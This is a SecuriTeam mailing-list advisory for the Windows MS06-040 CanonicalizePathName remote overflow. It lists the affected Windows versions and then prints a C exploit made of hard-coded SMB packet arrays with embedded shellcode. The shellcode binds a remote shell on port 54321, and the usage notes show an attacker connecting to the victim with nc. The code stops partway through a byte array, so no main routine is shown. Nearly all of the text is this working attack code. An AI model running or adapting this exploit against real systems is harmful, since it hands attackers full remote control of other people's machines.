The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Microsoft Windows CanonicalizePathName() Remote Code Execution (Exploit,
MS06-040)
------------------------------------------------------------------------
SUMMARY
There is a remote code execution
<http://www.securiteam.com/windowsntfocus/5IP042KJFS.html> vulnerability
in Server Service that could allow an attacker who successfully exploited
this vulnerability to take complete control of the affected system.
On successful exploitation this vulnerability provides a remote shell at
port 54321 of the selected target.
DETAILS
Vulnerable Systems:
* Microsoft Windows 2000 Service Pack 4
* Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service
Pack 2
* Microsoft Windows XP Professional x64 Edition
* Microsoft Windows Server 2003 and Microsoft Windows Server 2003 Service
Pack 1
* Microsoft Windows Server 2003 for Itanium-based Systems and Microsoft
Windows Server 2003 with SP1 for Itanium-based Systems
* Microsoft Windows Server 2003 x64 Edition
Exploit:
/*
Microsoft Windows CanonicalizePathName() Remote Overflow MSO6-040
More info:
http://www.microsoft.com/technet/security/bulletin/MS06-040.mspx
Written by Preddy
This is another version of hdm's metasploit version but ported to C,
Works against Windows XP SP1
And it should give a crash on Win2k in services.exe
On successfull exploitation it provides a remote shell at port 54321
of your victim:
/ms06 192.168.1.103
Target: 192.168.1.103
Attack Finished: now open a new terminal and nc to your victim on port
54321
Warning: Don't close this window!
[open a new terminal/window/prompt]
nc 192.168.1.103 54321
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
http://www.team-rootshell.com
Greetz to all of my friends at:
FREENODE(irc.freenode.net):
##c,##linux,##php,##security,##slackware,#fluxbox,#perl,#remote-exploit,#tor
MILW0RM(ABS.lcirc.net): #milw0rm
STS(irc.smashthestack.org): #lecture,#social (special greetz to: esper and
crystal)
PTP(irc.eu.pulltheplug.org): #aso,#Social
GSO(gso.eclipticx.net): #gso-chat
TTNET(irc.ttnet.net.tr):#coders,#linux,#nukedx,#zion,#php
SSTNET(irc.0x557.net):#darpa,#exploits,#m00,#ph4nt0m,#rx.rx,#segfault,#sscan
Rootshell Security Group and everyone else ^^
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <unistd.h>
#include <stdarg.h>
#include <sys/mman.h>
#define PORT 139
char peer0_0[] = {
0x81, 0x00, 0x00, 0x44, 0x20, 0x43, 0x4b, 0x46,
0x44, 0x45, 0x4e, 0x45, 0x43, 0x46, 0x44, 0x45,
0x46, 0x46, 0x43, 0x46, 0x47, 0x45, 0x46, 0x46,
0x43, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43,
0x41, 0x43, 0x41, 0x43, 0x41, 0x00, 0x20, 0x43,
0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43,
0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43,
0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43,
0x41, 0x43, 0x41, 0x43, 0x41, 0x41, 0x41, 0x00 };
char peer0_1[] = {
0x00, 0x00, 0x00, 0x54, 0xff, 0x53, 0x4d, 0x42,
0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x28,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x1d,
0x00, 0x00, 0x84, 0xec, 0x00, 0x31, 0x00, 0x02,
0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e,
0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32,
0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4e, 0x54,
0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x20,
0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e, 0x54, 0x20,
0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00 };
char peer0_2[] = {
0x00, 0x00, 0x00, 0xb5, 0xff, 0x53, 0x4d, 0x42,
0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x28,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x1d,
0x00, 0x00, 0x84, 0xec, 0x0c, 0xff, 0x00, 0x00,
0x00, 0xdf, 0xff, 0x02, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x57, 0x00, 0x00, 0x00, 0x00,
0x00, 0x5c, 0xd0, 0x00, 0x80, 0x7a, 0x00, 0x60,
0x55, 0x06, 0x06, 0x2b, 0x06, 0x01, 0x05, 0x05,
0x02, 0xa0, 0x4b, 0x30, 0x49, 0xa0, 0x0e, 0x30,
0x0c, 0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01,
0x82, 0x37, 0x02, 0x02, 0x0a, 0xa2, 0x37, 0x04,
0x35, 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50,
0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x02, 0x08,
0x00, 0x09, 0x00, 0x09, 0x00, 0x20, 0x00, 0x00,
0x00, 0x0c, 0x00, 0x0c, 0x00, 0x29, 0x00, 0x00,
0x00, 0x57, 0x4f, 0x52, 0x4b, 0x47, 0x52, 0x4f,
0x55, 0x50, 0x57, 0x4f, 0x52, 0x4b, 0x53, 0x54,
0x41, 0x54, 0x49, 0x4f, 0x4e, 0x31, 0x57, 0x69,
0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30,
0x30, 0x30, 0x20, 0x32, 0x31, 0x39, 0x35, 0x00,
0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20,
0x32, 0x30, 0x30, 0x30, 0x20, 0x35, 0x2e, 0x30,
0x00 };
char peer0_3[] = {
0x00, 0x00, 0x01, 0x04, 0xff, 0x53, 0x4d, 0x42,
0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x28,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x1d,
0x00, 0x08, 0x84, 0xec, 0x0c, 0xff, 0x00, 0x00,
0x00, 0xdf, 0xff, 0x02, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00,
0x00, 0x5c, 0xd0, 0x00, 0x80, 0xc9, 0x00, 0xa1,
0x81, 0xa3, 0x30, 0x81, 0xa0, 0xa2, 0x81, 0x9d,
0x04, 0x81, 0x9a, 0x4e, 0x54, 0x4c, 0x4d, 0x53,
0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18,
0x00, 0x18, 0x00, 0x40, 0x00, 0x00, 0x00, 0x18,
0x00, 0x18, 0x00, 0x58, 0x00, 0x00, 0x00, 0x12,
0x00, 0x12, 0x00, 0x70, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x18,
0x00, 0x18, 0x00, 0x82, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
0x02, 0x08, 0x00, 0x00, 0x01, 0x02, 0x03, 0x04,
0x05, 0x06, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x25, 0xa6, 0x9f, 0x80, 0x96,
0x31, 0x6c, 0xca, 0xa0, 0x08, 0x9f, 0x12, 0x7e,
0x47, 0xcd, 0x45, 0x10, 0x25, 0x39, 0x7d, 0xf8,
0x55, 0x66, 0x03, 0x57, 0x00, 0x4f, 0x00, 0x52,
0x00, 0x4b, 0x00, 0x47, 0x00, 0x52, 0x00, 0x4f,
0x00, 0x55, 0x00, 0x50, 0x00, 0x57, 0x00, 0x4f,
0x00, 0x52, 0x00, 0x4b, 0x00, 0x53, 0x00, 0x54,
0x00, 0x41, 0x00, 0x54, 0x00, 0x49, 0x00, 0x4f,
0x00, 0x4e, 0x00, 0x31, 0x00, 0x57, 0x69, 0x6e,
0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30, 0x30,
0x30, 0x20, 0x32, 0x31, 0x39, 0x35, 0x00, 0x57,
0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x32,
0x30, 0x30, 0x30, 0x20, 0x35, 0x2e, 0x30, 0x00 };
char peer0_4[] = {
0x00, 0x00, 0x00, 0x3a, 0xff, 0x53, 0x4d, 0x42,
0x75, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x1d,
0x00, 0x08, 0x84, 0xec, 0x04, 0xff, 0x00, 0x00,
0x00, 0x00, 0x00, 0x01, 0x00, 0x0f, 0x00, 0x00,
0x5c, 0x5c, 0x5c, 0x49, 0x50, 0x43, 0x24, 0x00,
0x3f, 0x3f, 0x3f, 0x3f, 0x3f, 0x00 };
char peer0_5[] = {
0x00, 0x00, 0x00, 0x5c, 0xff, 0x53, 0x4d, 0x42,
0xa2, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x30, 0x1d,
0x00, 0x08, 0x84, 0xec, 0x18, 0xff, 0x00, 0x00,
0x00, 0x00, 0x08, 0x00, 0x16, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x9f, 0x01, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x5c,
0x42, 0x52, 0x4f, 0x57, 0x53, 0x45, 0x52, 0x00 };
char peer0_6[] = {
0x00, 0x00, 0x00, 0x92, 0xff, 0x53, 0x4d, 0x42,
0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x30, 0x1d,
0x00, 0x08, 0x84, 0xec, 0x10, 0x00, 0x00, 0x48,
0x00, 0x00, 0x04, 0xe0, 0xff, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x4a, 0x00, 0x48, 0x00, 0x4a, 0x00, 0x02,
0x00, 0x26, 0x00, 0x00, 0x40, 0x4f, 0x00, 0x5c,
0x50, 0x49, 0x50, 0x45, 0x5c, 0x00, 0x05, 0x00,
0x0b, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd0, 0x16,
0xd0, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0xc8, 0x4f,
0x32, 0x4b, 0x70, 0x16, 0xd3, 0x01, 0x12, 0x78,
0x5a, 0x47, 0xbf, 0x6e, 0xe1, 0x88, 0x03, 0x00,
0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c,
0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10,
0x48, 0x60, 0x02, 0x00, 0x00, 0x00 };
char peer0_7[] = {
0x00, 0x00, 0x01, 0x57, 0xff, 0x53, 0x4d, 0x42,
0x2f, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x30, 0x1d,
0x00, 0x08, 0x84, 0xec, 0x0e, 0xff, 0x00, 0x00,
0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0xff,
0xff, 0xff, 0xff, 0x08, 0x00, 0x18, 0x01, 0x00,
0x00, 0x18, 0x01, 0x3f, 0x00, 0x00, 0x00, 0x00,
0x00, 0x18, 0x01, 0x05, 0x00, 0x00, 0x01, 0x10,
0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x1f, 0x00, 0x1c, 0x67, 0xc4, 0x18, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0xbf, 0x34, 0x63,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63,
0x01, 0x00, 0x00, 0x93, 0x48, 0x96, 0x48, 0xfc,
0x40, 0x93, 0x98, 0xf9, 0x98, 0x9f, 0x9f, 0x96,
0x37, 0x27, 0x90, 0x40, 0x9f, 0x4b, 0x4e, 0xd6,
0x93, 0x2b, 0xc9, 0x83, 0xe9, 0xaf, 0xd9, 0xee,
0xd9, 0x74, 0x24, 0xf4, 0x5b, 0x81, 0x73, 0x13,
0x2d, 0x2a, 0xd8, 0xe9, 0x83, 0xeb, 0xfc, 0xe2,
0xf4, 0xac, 0xee, 0x27, 0x06, 0xd2, 0xd5, 0x9c,
0x15, 0x47, 0xc1, 0x95, 0x01, 0xd4, 0xd5, 0x27,
0x16, 0x4d, 0xa1, 0xb4, 0xcd, 0x09, 0xa1, 0x9d,
0xd5, 0xa6, 0x56, 0xdd, 0x91, 0x2c, 0xc5, 0x53,
0xa6, 0x35, 0xa1, 0x87, 0xc9, 0x2c, 0xc1, 0x91,
0x62, 0x19, 0xa1, 0xd9, 0x07, 0x1c, 0xea, 0x41,
0x45, 0xa9, 0xea, 0xac, 0xee, 0xec, 0xe0, 0xd5,
0xe8, 0xef, 0xc1, 0x2c, 0xd2, 0x79, 0x0e, 0xf0,
0x9c, 0xc8, 0xa1, 0x87, 0xcd, 0x2c, 0xc1, 0xbe,
0x62, 0x21, 0x61, 0x53, 0xb6, 0x31, 0x2b, 0x33,
0xea, 0x01, 0xa1, 0x51, 0x85, 0x09, 0x36, 0xb9,
0x2a, 0x1c, 0xf1, 0xbc, 0x62, 0x6e, 0x1a, 0x53,
0xa9, 0x21, 0xa1, 0xa8, 0xf5, 0x80, 0xa1, 0x98,
0xe1, 0x73, 0x42, 0x56, 0xa7, 0x23, 0xc6, 0x88,
0x16, 0xfb, 0x4c, 0x8b, 0x8f, 0x45, 0x19, 0xea,
0x81, 0x5a, 0x59, 0xea, 0xb6, 0x79, 0xd5, 0x08,
0x81, 0xe6, 0xc7, 0x24, 0xd2, 0x7d, 0xd5, 0x0e,
0xb6, 0xa4, 0xcf, 0xbe, 0x68, 0xc0, 0x22, 0xda,
0xbc, 0x47, 0x28, 0x27, 0x39, 0x45, 0xf3, 0xd1,
0x1c, 0x80, 0x7d, 0x27, 0x3f, 0x7e, 0x79, 0x8b,
0xba, 0x7e, 0x69, 0x8b, 0xaa, 0x7e, 0xd5, 0x08,
0x8f, 0x45, 0xfe, 0xe9, 0x8f, 0x7e, 0xa3, 0x39,
0x7c, 0x45, 0x8e };
char peer0_8[] = {
0x00, 0x00, 0x01, 0x57, 0xff, 0x53, 0x4d, 0x42,
0x2f, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x30, 0x1d,
0x00, 0x08, 0x84, 0xec, 0x0e, 0xff, 0x00, 0x00,
0x00, 0x00, 0x40, 0x18, 0x01, 0x00, 0x00, 0xff,
0xff, 0xff, 0xff, 0x08, 0x00, 0x18, 0x01, 0x00,
0x00, 0x18, 0x01, 0x3f, 0x00, 0x00, 0x00, 0x00,
0x00, 0x18, 0x01, 0x05, 0x00, 0x00, 0x00, 0x10,
0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x1f, 0x00, 0xc2, 0x99, 0xea, 0x7d, 0x27,
0x3f, 0x47, 0x3a, 0x89, 0xbc, 0xd2, 0xfa, 0xb0,
0x4d, 0x80, 0x04, 0x31, 0xbe, 0xd2, 0xfc, 0x8b,
0xbc, 0xd2, 0xfa, 0xb0, 0x0c, 0x64, 0xac, 0x91,
0xbe, 0xd2, 0xfc, 0x88, 0xbd, 0x79, 0x7f, 0x27,
0x39, 0xbe, 0x42, 0x3f, 0x90, 0xeb, 0x53, 0x8f,
0x16, 0xfb, 0x7f, 0x27, 0x39, 0x4b, 0x40, 0xbc,
0x8f, 0x45, 0x49, 0xb5, 0x60, 0xc8, 0x40, 0x88,
0xb0, 0x04, 0xe6, 0x51, 0x0e, 0x47, 0x6e, 0x51,
0x0b, 0x1c, 0xea, 0x2b, 0x43, 0xd3, 0x68, 0xf5,
0x17, 0x6f, 0x06, 0x4b, 0x64, 0x57, 0x12, 0x73,
0x42, 0x86, 0x42, 0xaa, 0x17, 0x9e, 0x3c, 0x27,
0x9c, 0x69, 0xd5, 0x0e, 0xb2, 0x7a, 0x78, 0x89,
0xb8, 0x7c, 0x40, 0xd9, 0xb8, 0x7c, 0x7f, 0x89,
0x16, 0xfd, 0x42, 0x75, 0x30, 0x28, 0xe4, 0x8b,
0x16, 0xfb, 0x40, 0x27, 0x16, 0x1a, 0xd5, 0x08,
0x62, 0x7a, 0xd6, 0x5b, 0x2d, 0x49, 0xd5, 0x0e,
0xbb, 0xd2, 0xfa, 0xb0, 0x06, 0xe3, 0xca, 0xb8,
0xba, 0xd2, 0xfc, 0x27, 0x39, 0x61, 0x72, 0x5a,
0x34, 0x54, 0x46, 0x4c, 0x45, 0x44, 0x38, 0x4f,
0x6a, 0x44, 0x33, 0x41, 0x49, 0x43, 0x49, 0x53,
0x52, 0x37, 0x41, 0x31, 0x34, 0x67, 0x66, 0x70,
0x41, 0x47, 0x41, 0x49, 0x34, 0x4d, 0x76, 0x75,
0x62, 0x31, 0x79, 0x57, 0x54, 0x64, 0x54, 0x5a,
0x6f, 0x45, 0x6e, 0x47, 0x71, 0x67, 0x52, 0x31,
0x66, 0x45, 0x5a, 0x6d, 0x41, 0x71, 0x39, 0x4c,
0x4c, 0x7a, 0x48, 0x6f, 0x50, 0x74, 0x4c, 0x47,
0x61, 0x6a, 0x30, 0x55, 0x69, 0x68, 0x7a, 0x7a,
0x6b, 0x69, 0x33, 0x4c, 0x70, 0x34, 0x47, 0x53,
0x4a, 0x54, 0x74, 0x39, 0x58, 0x33, 0x78, 0x43,
0x67, 0x54, 0x74, 0x58, 0x77, 0x32, 0x77, 0x42,
0x52, 0x4d, 0x57, 0x70, 0x36, 0x75, 0x38, 0x33,
0x52, 0x66, 0x79 };
char peer0_9[] = {
0x00, 0x00, 0x01, 0x57, 0xff, 0x53, 0x4d, 0x42,
0x2f, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x30, 0x1d,
0x00, 0x08, 0x84, 0xec, 0x0e, 0xff, 0x00, 0x00,
0x00, 0x00, 0x40, 0x30, 0x02, 0x00, 0x00, 0xff,
0xff, 0xff, 0xff, 0x08, 0x00, 0x18, 0x01, 0x00,
0x00, 0x18, 0x01, 0x3f, 0x00, 0x00, 0x00, 0x00,
0x00, 0x18, 0x01, 0x05, 0x00, 0x00, 0x00, 0x10,
0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x1f, 0x00, 0x52, 0x36, 0x36, 0x37, 0x4e,
0x54, 0x6f, 0x48, 0x76, 0x51, 0x32, 0x63, 0x68,
0x67, 0x36, 0x68, 0x43, 0x39, 0x54, 0x46, 0x4b,
0x67, 0x79, 0x56, 0x57, 0x53, 0x45, 0x39, 0x42,
0x4a, 0x65, 0x4f, 0x57, 0x73, 0x42, 0x6b, 0x39,
0x52, 0x76, 0x31, 0x56, 0x42, 0x6e, 0x42, 0x70,
0x75, 0x42, 0x46, 0x58, 0x35, 0x48, 0x46, 0x62,
0x4a, 0x78, 0x6d, 0x33, 0x53, 0x50, 0x34, 0x30,
0x7a, 0x76, 0x46, 0x6c, 0x4f, 0x54, 0x37, 0x6a,
0x4a, 0x45, 0x59, 0x54, 0x6f, 0x69, 0x62, 0x36,
0x65, 0x57, 0x6a, 0x32, 0x44, 0x63, 0x31, 0x65,
0x4b, 0x36, 0x59, 0x55, 0x33, 0x32, 0x38, 0x78,
0x5a, 0x64, 0x42, 0x75, 0x56, 0x79, 0x52, 0x70,
0x36, 0x33, 0x47, 0x45, 0x7a, 0x31, 0x72, 0x36,
0x51, 0x50, 0x35, 0x70, 0x4f, 0x58, 0x59, 0x31,
0x75, 0x32, 0x39, 0x70, 0x74, 0x50, 0x41, 0x6a,
0x34, 0x65, 0x7a, 0x78, 0x69, 0x50, 0x59, 0x0a,
0x08, 0x02, 0x00, 0x4a, 0x52, 0x57, 0x6c, 0x39,
0x50, 0x77, 0x38, 0x04, 0x08, 0x02, 0x00, 0x32,
0x37, 0x49, 0x49, 0x56, 0x6d, 0x6f, 0x55, 0x68,
0x56, 0x69, 0x51, 0x41, 0x35, 0x43, 0x4c, 0x47,
0x6b, 0x4f, 0x45, 0x30, 0x51, 0x36, 0x52, 0x30,
0x6f, 0x64, 0x74, 0x78, 0x65, 0x32, 0x70, 0x04,
0x08, 0x02, 0x00, 0x35, 0x79, 0x78, 0x32, 0x78,
0x70, 0x38, 0x35, 0x04, 0x08, 0x02, 0x00, 0x51,
0x67, 0x39, 0x36, 0x4a, 0x71, 0x65, 0x72, 0x56,
0x55, 0x47, 0x58, 0x53, 0x58, 0x59, 0x4f, 0x61,
0x61, 0x7a, 0x47, 0x62, 0x48, 0x56, 0x61, 0x73,
0x33, 0x4d, 0x4b, 0x34, 0x42, 0x39, 0x79, 0x00,
0x00, 0xbf, 0xf9, 0x78, 0x00, 0x00, 0x00, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0xb4, 0xee, 0x7b,
0x00, 0x00, 0x00 };
char peer0_10[] = {
0x00, 0x00, 0x00, 0x66, 0xff, 0x53, 0x4d, 0x42,
0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x30, 0x1d,
0x00, 0x08, 0x84, 0xec, 0x10, 0x00, 0x00, 0x1c,
0x00, 0x00, 0x04, 0xe0, 0xff, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x4a, 0x00, 0x1c, 0x00, 0x4a, 0x00, 0x02,
0x00, 0x26, 0x00, 0x00, 0x40, 0x23, 0x00, 0x5c,
0x50, 0x49, 0x50, 0x45, 0x5c, 0x00, 0x05, 0x00,
0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x1c, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00,
0x00, 0x00 };
char peer0_11[] = {
0x00, 0x00, 0x01, 0x57, 0xff, 0x53, 0x4d, 0x42,
0x2f, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x30, 0x1d,
0x00, 0x08, 0x84, 0xec, 0x0e, 0xff, 0x00, 0x00,
0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0xff,
0xff, 0xff, 0xff, 0x08, 0x00, 0x18, 0x01, 0x00,
0x00, 0x18, 0x01, 0x3f, 0x00, 0x00, 0x00, 0x00,
0x00, 0x18, 0x01, 0x05, 0x00, 0x00, 0x01, 0x10,
0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x1f, 0x00, 0x1c, 0x67, 0xc4, 0x18, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0xbf, 0x34, 0x63,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63,
0x01, 0x00, 0x00, 0x93, 0x48, 0x96, 0x48, 0xfc,
0x40, 0x93, 0x98, 0xf9, 0x98, 0x9f, 0x9f, 0x96,
0x37, 0x27, 0x90, 0x40, 0x9f, 0x4b, 0x4e, 0xd6,
0x93, 0x2b, 0xc9, 0x83, 0xe9, 0xaf, 0xd9, 0xee,
0xd9, 0x74, 0x24, 0xf4, 0x5b, 0x81, 0x73, 0x13,
0x2d, 0x2a, 0xd8, 0xe9, 0x83, 0xeb, 0xfc, 0xe2,
0xf4, 0xac, 0xee, 0x27, 0x06, 0xd2, 0xd5, 0x9c,
0x15, 0x47, 0xc1, 0x95, 0x01, 0xd4, 0xd5, 0x27,
0x16, 0x4d, 0xa1, 0xb4, 0xcd, 0x09, 0xa1, 0x9d,
0xd5, 0xa6, 0x56, 0xdd, 0x91, 0x2c, 0xc5, 0x53,
0xa6, 0x35, 0xa1, 0x87, 0xc9, 0x2c, 0xc1, 0x91,
0x62, 0x19, 0xa1, 0xd9, 0x07, 0x1c, 0xea, 0x41,
0x45, 0xa9, 0xea, 0xac, 0xee, 0xec, 0xe0, 0xd5,
0xe8, 0xef, 0xc1, 0x2c, 0xd2, 0x79, 0x0e, 0xf0,
0x9c, 0xc8, 0xa1, 0x87, 0xcd, 0x2c, 0xc1, 0xbe,
0x62, 0x21, 0x61, 0x53, 0xb6, 0x31, 0x2b, 0x33,
0xea, 0x01, 0xa1, 0x51, 0x85, 0x09, 0x36, 0xb9,
0x2a, 0x1c, 0xf1, 0xbc, 0x62, 0x6e, 0x1a, 0x53,
0xa9, 0x21, 0xa1, 0xa8, 0xf5, 0x80, 0xa1, 0x98,
0xe1, 0x73, 0x42, 0x56, 0xa7, 0x23, 0xc6, 0x88,
0x16, 0xfb, 0x4c, 0x8b, 0x8f, 0x45, 0x19, 0xea,
0x81, 0x5a, 0x59, 0xea, 0xb6, 0x79, 0xd5, 0x08,
0x81, 0xe6, 0xc7, 0x24, 0xd2, 0x7d, 0xd5, 0x0e,
0xb6, 0xa4, 0xcf, 0xbe, 0x68, 0xc0, 0x22, 0xda,
0xbc, 0x47, 0x28, 0x27, 0x39, 0x45, 0xf3, 0xd1,
0x1c, 0x80, 0x7d, 0x27, 0x3f, 0x7e, 0x79, 0x8b,
0xba, 0x7e, 0x69, 0x8b, 0xaa, 0x7e, 0xd5, 0x08,
0x8f, 0x45, 0xfe, 0xe9, 0x8f, 0x7e, 0xa3, 0x39,
0x7c, 0x45, 0x8e };
char peer0_12[] = {
0x00, 0x00, 0x01, 0x57, 0xff, 0x53, 0x4d, 0x42,
0x2f, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x30, 0x1d,
0x00, 0x08, 0x84, 0xec, 0x0e, 0xff, 0x00, 0x00,
0x00, 0x00, 0x40, 0x18, 0x01, 0x00, 0x00, 0xff,
0xff, 0xff, 0xff, 0x08, 0x00, 0x18, 0x01, 0x00,
0x00, 0x18, 0x01, 0x3f, 0x00, 0x00, 0x00, 0x00,
0x00, 0x18, 0x01, 0x05, 0x00, 0x00, 0x00, 0x10,
0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x1f, 0x00, 0xc2, 0x99, 0xea, 0x7d, 0x27,
0x3f, 0x47, 0x3a, 0x89, 0xbc, 0xd2, 0xfa, 0xb0,
0x4d, 0x80, 0x04, 0x31, 0xbe, 0xd2, 0xfc, 0x8b,
0xbc, 0xd2, 0xfa, 0xb0, 0x0c, 0x64, 0xac, 0x91,
0xbe, 0xd2, 0xfc, 0x88, 0xbd, 0x79, 0x7f, 0x27,
0x39, 0xbe, 0x42, 0x3f, 0x90, 0xeb, 0x53, 0x8f,
0x16, 0xfb, 0x7f, 0x27, 0x39, 0x4b, 0x40, 0xbc,
0x8f, 0x45, 0x49, 0xb5, 0x60, 0xc8, 0x40, 0x88,
0xb0, 0x04, 0xe6, 0x51, 0x0e, 0x47, 0x6e, 0x51,
0x0b, 0x1c, 0xea, 0x2b, 0x43, 0xd3, 0x68, 0xf5,
0x17, 0x6f, 0x06, 0x4b, 0x64, 0x57, 0x12, 0x73,
